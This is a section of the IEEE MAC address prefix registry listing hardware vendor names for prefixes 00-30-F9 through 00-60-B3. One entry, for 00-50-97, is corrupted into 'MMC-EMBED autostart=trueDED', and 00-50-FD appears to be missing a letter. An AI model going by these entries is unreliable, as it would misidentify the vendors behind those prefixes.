00-30-F9    Sollae Systems Co., Ltd.
00-30-FA    TELICA, INC.
00-30-FB    AZS Technology AG
00-30-FC    Terawave Communications, Inc.
00-30-FD    INTEGRATED SYSTEMS DESIGN
00-30-FE    DSA GmbH
00-30-FF    DATAFAB SYSTEMS, INC.
00-40-00    PCI COMPONENTES DA AMZONIA LTD
00-40-01    ZYXEL COMMUNICATIONS, INC.
00-40-02    PERLE SYSTEMS LIMITED
00-40-03    WESTINGHOUSE PROCESS CONTROL
00-40-04    ICM CO. LTD.
00-40-05    ANI COMMUNICATIONS INC.
00-40-06    SAMPO TECHNOLOGY CORPORATION
00-40-07    TELMAT INFORMATIQUE
00-40-08    A PLUS INFO CORPORATION
00-40-09    TACHIBANA TECTRON CO., LTD.
00-40-0A    PIVOTAL TECHNOLOGIES, INC.
00-40-0B    CISCO SYSTEMS, INC.
00-40-0C    GENERAL MICRO SYSTEMS, INC.
00-40-0D    LANNET DATA COMMUNICATIONS,LTD
00-40-0E    MEMOTEC COMMUNICATIONS, INC.
00-40-0F    DATACOM TECHNOLOGIES
00-40-10    SONIC SYSTEMS, INC.
00-40-11    ANDOVER CONTROLS CORPORATION
00-40-12    WINDATA, INC.
00-40-13    NTT DATA COMM. SYSTEMS CORP.
00-40-14    COMSOFT GMBH
00-40-15    ASCOM INFRASYS AG
00-40-16    HADAX ELECTRONICS, INC.
00-40-17    XCD INC.
00-40-18    ADOBE SYSTEMS, INC.
00-40-19    AEON SYSTEMS, INC.
00-40-1A    FUJI ELECTRIC CO., LTD.
00-40-1B    PRINTER SYSTEMS CORP.
00-40-1C    AST RESEARCH, INC.
00-40-1D    INVISIBLE SOFTWARE, INC.
00-40-1E    ICC
00-40-1F    COLORGRAPH LTD
00-40-20    PINACL COMMUNICATION
00-40-21    RASTER GRAPHICS
00-40-22    KLEVER COMPUTERS, INC.
00-40-23    LOGIC CORPORATION
00-40-24    COMPAC INC.
00-40-25    MOLECULAR DYNAMICS
00-40-26    MELCO, INC.
00-40-27    SMC MASSACHUSETTS, INC.
00-40-28    NETCOMM LIMITED
00-40-29    COMPEX
00-40-2A    CANOGA-PERKINS
00-40-2B    TRIGEM COMPUTER, INC.
00-40-2C    ISIS DISTRIBUTED SYSTEMS, INC.
00-40-2D    HARRIS ADACOM CORPORATION
00-40-2E    PRECISION SOFTWARE, INC.
00-40-2F    XLNT DESIGNS INC.
00-40-30    GK COMPUTER
00-40-31    KOKUSAI ELECTRIC CO., LTD
00-40-32    DIGITAL COMMUNICATIONS
00-40-33    ADDTRON TECHNOLOGY CO., LTD.
00-40-34    BUSTEK CORPORATION
00-40-35    OPCOM
00-40-36    TRIBE COMPUTER WORKS, INC.
00-40-37    SEA-ILAN, INC.
00-40-38    TALENT ELECTRIC INCORPORATED
00-40-39    OPTEC DAIICHI DENKO CO., LTD.
00-40-3A    IMPACT TECHNOLOGIES
00-40-3B    SYNERJET INTERNATIONAL CORP.
00-40-3C    FORKS, INC.
00-40-3D    TERADATA
00-40-3E    RASTER OPS CORPORATION
00-40-3F    SSANGYONG COMPUTER SYSTEMS
00-40-40    RING ACCESS, INC.
00-40-41    FUJIKURA LTD.
00-40-42    N.A.T. GMBH
00-40-43    NOKIA TELECOMMUNICATIONS
00-40-44    QNIX COMPUTER CO., LTD.
00-40-45    TWINHEAD CORPORATION
00-40-46    UDC RESEARCH LIMITED
00-40-47    WIND RIVER SYSTEMS
00-40-48    SMD INFORMATICA S.A.
00-40-49    TEGIMENTA AG
00-40-4A    WEST AUSTRALIAN DEPARTMENT
00-40-4B    MAPLE COMPUTER SYSTEMS
00-40-4C    HYPERTEC PTY LTD.
00-40-4D    TELECOMMUNICATIONS TECHNIQUES
00-40-4E    FLUENT, INC.
00-40-4F    SPACE & NAVAL WARFARE SYSTEMS
00-40-50    IRONICS, INCORPORATED
00-40-51    GRACILIS, INC.
00-40-52    STAR TECHNOLOGIES, INC.
00-40-53    AMPRO COMPUTERS
00-40-54    CONNECTION MACHINES SERVICES
00-40-55    METRONIX GMBH
00-40-56    MCM JAPAN LTD.
00-40-57    LOCKHEED - SANDERS
00-40-58    KRONOS, INC.
00-40-59    YOSHIDA KOGYO K. K.
00-40-5A    GOLDSTAR INFORMATION & COMM.
00-40-5B    FUNASSET LIMITED
00-40-5C    FUTURE SYSTEMS, INC.
00-40-5D    STAR-TEK, INC.
00-40-5E    NORTH HILLS ISRAEL
00-40-5F    AFE COMPUTERS LTD.
00-40-60    COMENDEC LTD
00-40-61    DATATECH ENTERPRISES CO., LTD.
00-40-62    E-SYSTEMS, INC./GARLAND DIV.
00-40-63    VIA TECHNOLOGIES, INC.
00-40-64    KLA INSTRUMENTS CORPORATION
00-40-65    GTE SPACENET
00-40-66    HITACHI CABLE, LTD.
00-40-67    OMNIBYTE CORPORATION
00-40-68    EXTENDED SYSTEMS
00-40-69    LEMCOM SYSTEMS, INC.
00-40-6A    KENTEK INFORMATION SYSTEMS,INC
00-40-6B    SYSGEN
00-40-6C    COPERNIQUE
00-40-6D    LANCO, INC.
00-40-6E    COROLLARY, INC.
00-40-6F    SYNC RESEARCH INC.
00-40-70    INTERWARE CO., LTD.
00-40-71    ATM COMPUTER GMBH
00-40-72    APPLIED INNOVATION, INC.
00-40-73    BASS ASSOCIATES
00-40-74    CABLE AND WIRELESS
00-40-75    M-TRADE (UK) LTD
00-40-76    AMP INCORPORATED
00-40-77    MAXTON TECHNOLOGY CORPORATION
00-40-78    WEARNES AUTOMATION PTE LTD
00-40-79    JUKO MANUFACTURE COMPANY, LTD.
00-40-7A    SOCIETE D'EXPLOITATION DU CNIT
00-40-7B    SCIENTIFIC ATLANTA
00-40-7C    QUME CORPORATION
00-40-7D    EXTENSION TECHNOLOGY CORP.
00-40-7E    EVERGREEN SYSTEMS, INC.
00-40-7F    AGEMA INFRARED SYSTEMS AB
00-40-80    ATHENIX CORPORATION
00-40-81    MANNESMANN SCANGRAPHIC GMBH
00-40-82    LABORATORY EQUIPMENT CORP.
00-40-83    TDA INDUSTRIA DE PRODUTOS
00-40-84    HONEYWELL INC.
00-40-85    SAAB INSTRUMENTS AB
00-40-86    MICHELS & KLEBERHOFF COMPUTER
00-40-87    UBITREX CORPORATION
00-40-88    MOBIUS TECHNOLOGIES, INC.
00-40-89    MEIDENSHA CORPORATION
00-40-8A    TPS TELEPROCESSING SYS. GMBH
00-40-8B    RAYLAN CORPORATION
00-40-8C    AXIS COMMUNICATIONS AB
00-40-8D    THE GOODYEAR TIRE & RUBBER CO.
00-40-8E    DIGILOG, INC.
00-40-8F    WM-DATA MINFO AB
00-40-90    ANSEL COMMUNICATIONS
00-40-91    PROCOMP INDUSTRIA ELETRONICA
00-40-92    ASP COMPUTER PRODUCTS, INC.
00-40-93    PAXDATA NETWORKS LTD.
00-40-94    SHOGRAPHICS, INC.
00-40-95    R.P.T. INTERGROUPS INT'L LTD.
00-40-96    Aironet Wireless Communication
00-40-97    DATEX DIVISION OF
00-40-98    DRESSLER GMBH & CO.
00-40-99    NEWGEN SYSTEMS CORP.
00-40-9A    NETWORK EXPRESS, INC.
00-40-9B    HAL COMPUTER SYSTEMS INC.
00-40-9C    TRANSWARE
00-40-9D    DIGIBOARD, INC.
00-40-9E    CONCURRENT TECHNOLOGIES  LTD.
00-40-9F    LANCAST/CASAT TECHNOLOGY, INC.
00-40-A0    GOLDSTAR CO., LTD.
00-40-A1    ERGO COMPUTING
00-40-A2    KINGSTAR TECHNOLOGY INC.
00-40-A3    MICROUNITY SYSTEMS ENGINEERING
00-40-A4    ROSE ELECTRONICS
00-40-A5    CLINICOMP INTL.
00-40-A6    CRAY RESEARCH INC.
00-40-A7    ITAUTEC PHILCO S.A.
00-40-A8    IMF INTERNATIONAL LTD.
00-40-A9    DATACOM INC.
00-40-AA    VALMET AUTOMATION INC.
00-40-AB    ROLAND DG CORPORATION
00-40-AC    SUPER WORKSTATION, INC.
00-40-AD    SMA REGELSYSTEME GMBH
00-40-AE    DELTA CONTROLS, INC.
00-40-AF    DIGITAL PRODUCTS, INC.
00-40-B0    BYTEX CORPORATION, ENGINEERING
00-40-B1    CODONICS INC.
00-40-B2    SYSTEMFORSCHUNG
00-40-B3    PAR MICROSYSTEMS CORPORATION
00-40-B4    NEXTCOM K.K.
00-40-B5    VIDEO TECHNOLOGY COMPUTERS LTD
00-40-B6    COMPUTERM  CORPORATION
00-40-B7    STEALTH COMPUTER SYSTEMS
00-40-B8    IDEA ASSOCIATES
00-40-B9    MACQ ELECTRONIQUE SA
00-40-BA    ALLIANT COMPUTER SYSTEMS CORP.
00-40-BB    GOLDSTAR CABLE CO., LTD.
00-40-BC    ALGORITHMICS LTD.
00-40-BD    STARLIGHT NETWORKS, INC.
00-40-BE    BOEING DEFENSE & SPACE
00-40-BF    CHANNEL SYSTEMS INTERN'L INC.
00-40-C0    VISTA CONTROLS CORPORATION
00-40-C1    BIZERBA-WERKE WILHEIM KRAUT
00-40-C2    APPLIED COMPUTING DEVICES
00-40-C3    FISCHER AND PORTER CO.
00-40-C4    KINKEI SYSTEM CORPORATION
00-40-C5    MICOM COMMUNICATIONS INC.
00-40-C6    FIBERNET RESEARCH, INC.
00-40-C7    RUBY TECH CORPORATION
00-40-C8    MILAN TECHNOLOGY CORPORATION
00-40-C9    NCUBE
00-40-CA    FIRST INTERNAT'L COMPUTER, INC
00-40-CB    LANWAN TECHNOLOGIES
00-40-CC    SILCOM MANUF'G TECHNOLOGY INC.
00-40-CD    TERA MICROSYSTEMS, INC.
00-40-CE    NET-SOURCE, INC.
00-40-CF    STRAWBERRY TREE, INC.
00-40-D0    MITAC INTERNATIONAL CORP.
00-40-D1    FUKUDA DENSHI CO., LTD.
00-40-D2    PAGINE CORPORATION
00-40-D3    KIMPSION INTERNATIONAL CORP.
00-40-D4    GAGE TALKER CORP.
00-40-D5    SARTORIUS AG
00-40-D6    LOCAMATION B.V.
00-40-D7    STUDIO GEN INC.
00-40-D8    OCEAN OFFICE AUTOMATION LTD.
00-40-D9    AMERICAN MEGATRENDS INC.
00-40-DA    TELSPEC LTD
00-40-DB    ADVANCED TECHNICAL SOLUTIONS
00-40-DC    TRITEC ELECTRONIC GMBH
00-40-DD    HONG TECHNOLOGIES
00-40-DE    ELETTRONICA SAN GIORGIO
00-40-DF    DIGALOG SYSTEMS, INC.
00-40-E0    ATOMWIDE LTD.
00-40-E1    MARNER INTERNATIONAL, INC.
00-40-E2    MESA RIDGE TECHNOLOGIES, INC.
00-40-E3    QUIN SYSTEMS LTD
00-40-E4    E-M TECHNOLOGY, INC.
00-40-E5    SYBUS CORPORATION
00-40-E6    C.A.E.N.
00-40-E7    ARNOS INSTRUMENTS & COMPUTER
00-40-E8    CHARLES RIVER DATA SYSTEMS,INC
00-40-E9    ACCORD SYSTEMS, INC.
00-40-EA    PLAIN TREE SYSTEMS INC
00-40-EB    MARTIN MARIETTA CORPORATION
00-40-EC    MIKASA SYSTEM ENGINEERING
00-40-ED    NETWORK CONTROLS INT'NATL INC.
00-40-EE    OPTIMEM
00-40-EF    HYPERCOM, INC.
00-40-F0    MICRO SYSTEMS, INC.
00-40-F1    CHUO ELECTRONICS CO., LTD.
00-40-F2    JANICH & KLASS COMPUTERTECHNIK
00-40-F3    NETCOR
00-40-F4    CAMEO COMMUNICATIONS, INC.
00-40-F5    OEM ENGINES
00-40-F6    KATRON COMPUTERS INC.
00-40-F7    POLAROID MEDICAL IMAGING SYS.
00-40-F8    SYSTEMHAUS DISCOM
00-40-F9    COMBINET
00-40-FA    MICROBOARDS, INC.
00-40-FB    CASCADE COMMUNICATIONS CORP.
00-40-FC    IBR COMPUTER TECHNIK GMBH
00-40-FD    LXE
00-40-FE    SYMPLEX COMMUNICATIONS
00-40-FF    TELEBIT CORPORATION
00-50-00    NEXO COMMUNICATIONS, INC.
00-50-01    YAMASHITA SYSTEMS CORP.
00-50-02    OMNISEC AG
00-50-03    GRETAG MACBETH AG
00-50-04    3COM CORPORATION
00-50-06    TAC AB
00-50-07    SIEMENS TELECOMMUNICATION
00-50-08    TIVA MICROCOMPUTER CORP. (TMC)
00-50-09    PHILIPS BROADBAND NETWORKS
00-50-0A    IRIS TECHNOLOGIES, INC.
00-50-0B    CISCO SYSTEMS, INC.
00-50-0C    ETEK LABS, INC.
00-50-0D    SATORI ELECTORIC CO., LTD.
00-50-0E    CHROMATIS NETWORKS,INC.
00-50-0F    CISCO SYSTEMS, INC.
00-50-10    NOVANET LEARNING, INC.
00-50-12    CBL - GMBH
00-50-13    CHAPARRAL TECHNOLOGIES, INC.
00-50-14    CISCO SYSTEMS, INC.
00-50-15    BRIGHT STAR ENGINEERING
00-50-16    SST/WOODHEAD INDUSTRIES
00-50-17    RSR S.R.L.
00-50-18    ADVANCED MULTIMEDIA INTERNET
00-50-19    SPRING TIDE NETWORKS, INC.
00-50-1A    UISIQN
00-50-1B    ABL CANADA, INC.
00-50-1C    JATOM SYSTEMS, INC.
00-50-1E    MIRANDA TECHNOLOGIES, INC.
00-50-1F    MRG SYSTEMS, LTD.
00-50-20    MEDIASTAR CO., LTD.
00-50-21    EIS INTERNATIONAL, INC.
00-50-22    ZONET TECHNOLOGY, INC.
00-50-23    PG DESIGN ELECTRONICS, INC.
00-50-24    NAVIC SYSTEMS, INC.
00-50-26    COSYSTEMS, INC.
00-50-27    GENICOM CORPORATION
00-50-28    AVAL COMMUNICATIONS
00-50-29    1394 PRINTER WORKING GROUP
00-50-2A    CISCO SYSTEMS, INC.
00-50-2B    GENRAD LTD.
00-50-2C    SOYO COMPUTER, INC.
00-50-2D    ACCEL, INC.
00-50-2E    CAMBEX CORPORATION
00-50-2F    TOLLBRIDGE TECHNOLOGIES, INC.
00-50-30    FUTURE PLUS SYSTEMS
00-50-31    AEROFLEX LABORATORIES, INC.
00-50-32    PICAZO COMMUNICATIONS, INC.
00-50-33    MAYAN NETWORKS
00-50-36    NETCAM, LTD.
00-50-37    KOGA ELECTRONICS CO.
00-50-38    DAIN TELECOM CO., LTD.
00-50-39    MARINER NETWORKS
00-50-3A    DATONG ELECTRONICS LTD.
00-50-3B    MEDIAFIRE CORPORATION
00-50-3C    TSINGHUA NOVEL ELECTRONICS
00-50-3E    CISCO SYSTEMS, INC.
00-50-3F    ANCHOR GAMES
00-50-40    EMWARE, INC.
00-50-41    CTX OPTO ELECTRONIC CORP.
00-50-42    SCI MANUFACTURING
00-50-43    MARVELL SEMICONDUCTOR, INC.
00-50-44    ASACA CORPORATION
00-50-45    RIOWORKS SOLUTIONS, INC.
00-50-46    MENICX INTERNATIONAL CO., LTD.
00-50-48    INFOLIBRIA
00-50-49    ELLACOYA NETWORKS, INC.
00-50-4A    ELTECO A.S.
00-50-4B    BARCO N.V. BCS
00-50-4C    GALIL MOTION CONTROL, INC.
00-50-4D    TOKYO ELECTRON DEVICE LTD.
00-50-4E    SIERRA MONITOR CORP.
00-50-4F    OLENCOM ELECTRONICS
00-50-50    CISCO SYSTEMS, INC.
00-50-51    IWATSU ELECTRIC CO., LTD.
00-50-52    TIARA NETWORKS, INC.
00-50-53    CISCO SYSTEMS, INC.
00-50-54    CISCO SYSTEMS, INC.
00-50-55    DOMS A/S
00-50-56    VMWARE, INC.
00-50-57    BROADBAND ACCESS SYSTEMS
00-50-58    VEGASTREAM LIMITED
00-50-59    SUITE TECHNOLOGY SYSTEMS
00-50-5A    NETWORK ALCHEMY, INC.
00-50-5B    KAWASAKI LSI U.S.A., INC.
00-50-5C    TUNDO CORPORATION
00-50-5E    DIGITEK MICROLOGIC S.A.
00-50-5F    BRAND INNOVATORS
00-50-60    TANDBERG TELECOM AS
00-50-62    KOUWELL ELECTRONICS CORP.  **
00-50-63    OY COMSEL SYSTEM AB
00-50-64    CAE ELECTRONICS
00-50-65    DENSEI-LAMBAD Co., Ltd.
00-50-66    ATECOM GMBH ADVANCED
00-50-67    AEROCOMM, INC.
00-50-68    ELECTRONIC INDUSTRIES
00-50-69    PIXSTREAM INCORPORATED
00-50-6A    EDEVA, INC.
00-50-6B    SPX-ATEG
00-50-6C    G & L BEIJER ELECTRONICS AB
00-50-6D    VIDEOJET SYSTEMS
00-50-6E    CORDER ENGINEERING CORPORATION
00-50-6F    G-CONNECT
00-50-70    CHAINTECH COMPUTER CO., LTD.
00-50-71    AIWA CO., LTD.
00-50-72    CORVIS CORPORATION
00-50-73    CISCO SYSTEMS, INC.
00-50-74    ADVANCED HI-TECH CORP.
00-50-75    KESTREL SOLUTIONS
00-50-76    IBM
00-50-77    PROLIFIC TECHNOLOGY, INC.
00-50-78    MEGATON HOUSE, LTD.
00-50-7A    XPEED, INC.
00-50-7B    MERLOT COMMUNICATIONS
00-50-7C    VIDEOCON AG
00-50-7D    IFP
00-50-7E    NEWER TECHNOLOGY
00-50-7F    DRAYTEK CORP.
00-50-80    CISCO SYSTEMS, INC.
00-50-81    MURATA MACHINERY, LTD.
00-50-82    FORESSON CORPORATION
00-50-83    GILBARCO, INC.
00-50-84    ATL PRODUCTS
00-50-86    TELKOM SA, LTD.
00-50-87    TERASAKI ELECTRIC CO., LTD.
00-50-88    AMANO CORPORATION
00-50-89    SAFETY MANAGEMENT SYSTEMS
00-50-8B    COMPAQ COMPUTER CORPORATION
00-50-8C    RSI SYSTEMS
00-50-8D    ABIT COMPUTER CORPORATION
00-50-8E    OPTIMATION, INC.
00-50-8F    ASITA TECHNOLOGIES INT'L LTD.
00-50-90    DCTRI
00-50-91    NETACCESS, INC.
00-50-92    RIGAKU INDUSTRIAL CORPORATION
00-50-93    BOEING
00-50-94    PACE MICRO TECHNOLOGY PLC
00-50-95    PERACOM NETWORKS
00-50-96    SALIX TECHNOLOGIES, INC.
00-50-97    MMC-EMBED autostart=trueDED
00-50-98    GLOBALOOP, LTD.
00-50-99    3COM EUROPE, LTD.
00-50-9A    TAG ELECTRONIC SYSTEMS
00-50-9B    SWITCHCORE AB
00-50-9C    BETA RESEARCH
00-50-9D    THE INDUSTREE B.V.
00-50-9E    LES TECHNOLOGIES
00-50-9F    HORIZON COMPUTER
00-50-A0    DELTA COMPUTER SYSTEMS, INC.
00-50-A1    CARLO GAVAZZI, INC.
00-50-A2    CISCO SYSTEMS, INC.
00-50-A3    TRANSMEDIA COMMUNICATIONS, INC
00-50-A4    IO TECH, INC.
00-50-A5    CAPITOL BUSINESS SYSTEMS, LTD.
00-50-A6    OPTRONICS
00-50-A7    CISCO SYSTEMS, INC.
00-50-A8    OPENCON SYSTEMS, INC.
00-50-A9    MOLDAT WIRELESS TECHNOLGIES
00-50-AA    KONICA CORPORATION
00-50-AB    NALTEC, INC.
00-50-AC    MAPLE COMPUTER CORPORATION
00-50-AD    COMMUNIQUE WIRELESS CORP.
00-50-AE    IWAKI ELECTRONICS CO., LTD.
00-50-AF    INTERGON, INC.
00-50-B0    TECHNOLOGY ATLANTA CORPORATION
00-50-B1    GIDDINGS & LEWIS
00-50-B2    BRODEL AUTOMATION
00-50-B3    VOICEBOARD CORPORATION
00-50-B4    SATCHWELL CONTROL SYSTEMS, LTD
00-50-B5    FICHET-BAUCHE
00-50-B6    GOOD WAY IND. CO., LTD.
00-50-B7    BOSER TECHNOLOGY CO., LTD.
00-50-B8    INOVA COMPUTERS GMBH & CO. KG
00-50-B9    XITRON TECHNOLOGIES, INC.
00-50-BA    D-LINK
00-50-BB    CMS TECHNOLOGIES
00-50-BC    HAMMER STORAGE SOLUTIONS
00-50-BD    CISCO SYSTEMS, INC.
00-50-BE    FAST MULTIMEDIA AG
00-50-BF    MOTOTECH INC.
00-50-C0    GATAN, INC.
00-50-C1    GEMFLEX NETWORKS, LTD.
00-50-C2    IEEE REGISTRATION AUTHORITY
00-50-C4    IMD
00-50-C5    ADS TECHNOLOGIES, INC.
00-50-C6    LOOP TELECOMMUNICATION
00-50-C8    ADDONICS COMMUNICATIONS, INC.
00-50-C9    MASPRO DENKOH CORP.
00-50-CA    NET TO NET TECHNOLOGIES
00-50-CB    JETTER
00-50-CC    XYRATEX
00-50-CD    DIGIANSWER A/S

 


00-50-CE    LG INTERNATIONAL CORP.
00-50-CF    VANLINK COMMUNICATION
00-50-D0    MINERVA SYSTEMS
00-50-D1    CISCO SYSTEMS, INC.
00-50-D2    CANADIAN MARCONI COMPANY
00-50-D3    DIGITAL AUDIO
00-50-D4    JOOHONG INFORMATION &
00-50-D5    AD SYSTEMS CORP.
00-50-D6    ATLAS COPCO TOOLS AB
00-50-D7    TELSTRAT
00-50-D8    UNICORN COMPUTER CORP.
00-50-D9    ENGETRON-ENGENHARIA ELETRONICA
00-50-DA    3COM CORPORATION
00-50-DB    CONTEMPORARY CONTROL
00-50-DC    TAS TELEFONBAU A. SCHWABE
00-50-DD    SERRA SOLDADURA, S.A.
00-50-DE    SIGNUM SYSTEMS CORP.
00-50-DF    AIRFIBER, INC.
00-50-E1    NS TECH ELECTRONICS SDN BHD
00-50-E2    CISCO SYSTEMS, INC.
00-50-E3    TELEGATE
00-50-E4    APPLE COMPUTER, INC.
00-50-E6    HAKUSAN CORPORATION
00-50-E7    PARADISE INNOVATIONS (ASIA)
00-50-E8    NOMADIX INC.
00-50-EA    XEL COMMUNICTIONS, INC.
00-50-EB    ALPHA-TOP CORPORATION
00-50-EC    OLICOM A/S
00-50-ED    ANDA NETWORKS
00-50-EE    TEK DIGITEL CORPORATION
00-50-EF    SPE SYSTEMHAUS GMBH
00-50-F0    CISCO SYSTEMS, INC.
00-50-F1    LIBIT SIGNAL PROCESSING, LTD.
00-50-F2    MICROSOFT CORP.
00-50-F3    GLOBAL NET INFORMATION CO.,LTD
00-50-F4    SIGMATEK GMBH & CO. KG
00-50-F6    PAN-INTERNATIONAL
00-50-F7    VENTURE MANUFACTURING
00-50-F8    ENTREGA TECHNOLOGIES, INC.
00-50-FA    OXTEL, LTD.
00-50-FB    VSK ELECTRONICS
00-50-FC    EDIMAX TECHNOLOGY CO., LTD.
00-50-FD      ISIONCOMM CO., LTD.
00-50-FE    PCTVNET ASA
00-50-FF    HAKKO ELECTRONICS CO., LTD.


00-60-00    XYCOM INC.
00-60-01    INNOSYS, INC.
00-60-02    SCREEN SUBTITLING SYSTEMS, LTD
00-60-03    TERAOKA WEIGH SYSTEM PTE, LTD.
00-60-04    COMPUTADORES MODULARES SA
00-60-05    FEEDBACK DATA LTD.
00-60-06    SOTEC CO., LTD
00-60-07    ACRES GAMING, INC.
00-60-08    3COM CORPORATION
00-60-09    CISCO SYSTEMS, INC.
00-60-0A    SORD COMPUTER CORPORATION
00-60-0B    LOGWARE GMBH
00-60-0C    APPLIED DATA SYSTEMS, INC.
00-60-0D    MICRODESIGN GMBH
00-60-0E    WAVENET INTERNATIONAL, INC.
00-60-0F    WESTELL, INC.
00-60-10    NETWORK MACHINES, INC.
00-60-11    CRYSTAL SEMICONDUCTOR CORP.
00-60-12    POWER COMPUTING CORPORATION
00-60-13    NETSTAL MASCHINEN AG
00-60-14    EDEC CO., LTD.
00-60-15    NET2NET CORPORATION
00-60-16    CLARIION
00-60-17    TOKIMEC INC.
00-60-18    STELLAR ONE CORPORATION
00-60-19    BOEHRINGER MANNHEIM CORP.
00-60-1A    KEITHLEY INSTRUMENTS
00-60-1B    MESA ELECTRONICS
00-60-1C    TELXON CORPORATION
00-60-1D    LUCENT TECHNOLOGIES
00-60-1E    SOFTLAB, INC.
00-60-1F    STALLION TECHNOLOGIES
00-60-20    PIVOTAL NETWORKING, INC.
00-60-21    DSC CORPORATION
00-60-22    VICOM SYSTEMS, INC.
00-60-23    PERICOM SEMICONDUCTOR CORP.
00-60-24    GRADIENT TECHNOLOGIES, INC.
00-60-25    ACTIVE IMAGING PLC
00-60-26    VIKING COMPONENTS, INC.
00-60-27    Superior Modular Products
00-60-28    MACROVISION CORPORATION
00-60-29    CARY PERIPHERALS INC.
00-60-2A    SYMICRON COMPUTER
00-60-2B    PEAK AUDIO
00-60-2C    LINX DATA TERMINALS, INC.
00-60-2D    ALERTON TECHNOLOGIES, INC.
00-60-2E    CYCLADES CORPORATION
00-60-2F    CISCO SYSTEMS, INC.
00-60-30    VILLAGE TRONIC
00-60-31    HRK SYSTEMS
00-60-32    I-CUBE, INC.
00-60-33    ACUITY IMAGING, INC.
00-60-34    ROBERT BOSCH GMBH
00-60-35    DALLAS SEMICONDUCTOR, INC.
00-60-36    AUSTRIAN RESEARCH CENTER
00-60-37    PHILIPS SEMICONDUCTORS
00-60-38    Nortel Networks
00-60-39    SANCOM TECHNOLOGY, INC.
00-60-3A    QUICK CONTROLS LTD.
00-60-3B    AMTEC SPA
00-60-3C    HAGIWARA SYS-COM CO., LTD.
00-60-3D    3CX
00-60-3E    CISCO SYSTEMS, INC.
00-60-3F    PATAPSCO DESIGNS
00-60-40    NETRO CORP.
00-60-41    3A INTERNATIONAL, INC.
00-60-42    TKS (USA), INC.
00-60-43    COMSOFT SYSTEMS, INC.
00-60-44    LITTON/POLY-SCIENTIFIC
00-60-45    PATHLIGHT TECHNOLOGIES
00-60-46    VMETRO, INC.
00-60-47    CISCO SYSTEMS, INC.
00-60-48    EMC CORPORATION
00-60-49    VINA TECHNOLOGIES
00-60-4A    SAIC IDEAS GROUP
00-60-4B    BIODATA GMBH
00-60-4C    SAT
00-60-4D    MMC NETWORKS, INC.
00-60-4E    CYCLE COMPUTER CORPORATION, INC.
00-60-4F    SUZUKI MFG. CO., LTD.
00-60-50    INTERNIX INC.
00-60-51    QUALITY SEMICONDUCTOR
00-60-52    PERIPHERALS ENTERPRISE CO., L.
00-60-53    TOYODA MACHINE WORKS, LTD.
00-60-54    CONTROLWARE GMBH
00-60-55    CORNELL UNIVERSITY
00-60-56    NETWORK TOOLS, INC.
00-60-57    MURATA MANUFACTURING CO., LTD.
00-60-58    COPPER MOUNTAIN
00-60-59    TECHNICAL COMMUNICATIONS CORP.
00-60-5A    CELCORE, INC.
00-60-5B    INTRASERVER TECHNOLOGY INC.
00-60-5C    CISCO SYSTEMS, INC.
00-60-5D    SCANIVALVE CORP.
00-60-5E    LIBERTY TECHNOLOGY NETWORKING
00-60-5F    NIPPON UNISOFT CORPORATION
00-60-60    DAWNING TECHNOLOGIES, INC.
00-60-61    WHISTLE COMMUNICATIONS CORP.
00-60-62    TELESYNC, INC.
00-60-63    PSION DACOM PLC.
00-60-64    NETCOMM LIMITED
00-60-65    BERNECKER & RAINER
00-60-66    LACROIX TECHNOLGIE
00-60-67    ACER NETXUS INC.
00-60-68    EICON TECHNOLOGY CORPORATION
00-60-69    BROCADE COMMUNICATIONS SYSTEMS
00-60-6A    MITSUBISHI WIRELESS COMM. INC.
00-60-6B    AICHI ELECTRONICS CO.,LTD.
00-60-6C    ARESCOM
00-60-6D    DIGITAL EQUIPMENT CORP.
00-60-6E    DAVICOM SEMICONDUCTOR, INC.
00-60-6F    CLARION CORPORATION OF AMERICA
00-60-70    CISCO SYSTEMS, INC.
00-60-71    MIDAS LAB, INC.
00-60-72    VXL INSTRUMENTS, LIMITED
00-60-73    REDCREEK COMMUNICATIONS, INC.
00-60-74    QSC AUDIO PRODUCTS
00-60-75    PENTEK, INC.
00-60-76    SCHLUMBERGER TECHNOLOGIES
00-60-77    PRISA NETWORKS
00-60-78    POWER MEASUREMENT LTD.
00-60-79    WAVEPHORE NETWORKS, INC.
00-60-7A    DVS GMBH
00-60-7B    FORE SYSTEMS, INC.
00-60-7C    WAVEACCESS, LTD.
00-60-7D    SENTIENT NETWORKS INC.
00-60-7E    GIGALABS, INC.
00-60-7F    AURORA TECHNOLOGIES, INC.
00-60-80    MICROTRONIX DATACOM LTD.
00-60-81    TV/COM INTERNATIONAL
00-60-82    NOVALINK TECHNOLOGIES, INC.
00-60-83    CISCO SYSTEMS, INC.
00-60-84    DIGITAL VIDEO
00-60-85    STORAGE CONCEPTS
00-60-86    LOGIC REPLACEMENT TECH. LTD.
00-60-87    KANSAI ELECTRIC CO., LTD.
00-60-88    WHITE MOUNTAIN DSP, INC.
00-60-89    XATA
00-60-8A    CITADEL COMPUTER
00-60-8B    CONFERTECH INTERNATIONAL
00-60-8C    3COM CORPORATION
00-60-8D    UNIPULSE CORP.
00-60-8E    HE ELECTRONICS, TECHNOLOGIE &
00-60-8F    TEKRAM TECHNOLOGY CO., LTD.
00-60-90    ABLE COMMUNICATIONS, INC.
00-60-91    FIRST PACIFIC NETWORKS, INC.
00-60-92    MICRO/SYS, INC.
00-60-93    VARIAN
00-60-94    IBM CORP.
00-60-95    ACCU-TIME SYSTEMS, INC.
00-60-96    T.S. MICROTECH INC.
00-60-97    3COM CORPORATION
00-60-98    HT COMMUNICATIONS
00-60-99    LAN MEDIA CORPORATION
00-60-9A    NJK TECHNO CO.
00-60-9B    ASTRO-MED, INC.
00-60-9C    PERKIN-ELMER CORPORATION
00-60-9D    PMI FOOD EQUIPMENT GROUP
00-60-9E    X3 - INFORMATION TECHNOLOGY
00-60-9F    PHAST CORPORATION
00-60-A0    SWITCHED NETWORK
00-60-A1    VPNET
00-60-A2    NIHON UNISYS LIMITED CO.
00-60-A3    CONTINUUM TECHNOLOGY CORP.
00-60-A4    GRINAKER SYSTEM TECHNOLOGIES
00-60-A5    PERFORMANCE TELECOM CORP.
00-60-A6    PARTICLE MEASURING SYSTEMS
00-60-A7    MICROSENS GMBH & CO. KG
00-60-A8    TIDOMAT AB
00-60-A9    GESYTEC MBH
00-60-AA    INTELLIGENT DEVICES INC. (IDI)
00-60-AB    LARSCOM INCORPORATED
00-60-AC    RESILIENCE CORPORATION
00-60-AD    MEGACHIPS CORPORATION
00-60-AE    TRIO INFORMATION SYSTEMS AB
00-60-AF    PACIFIC MICRO DATA, INC.
00-60-B0    HEWLETT-PACKARD CO.
00-60-B1    INPUT/OUTPUT, INC.
00-60-B2    PROCESS CONTROL CORP.
00-60-B3    Z-COM, INC.
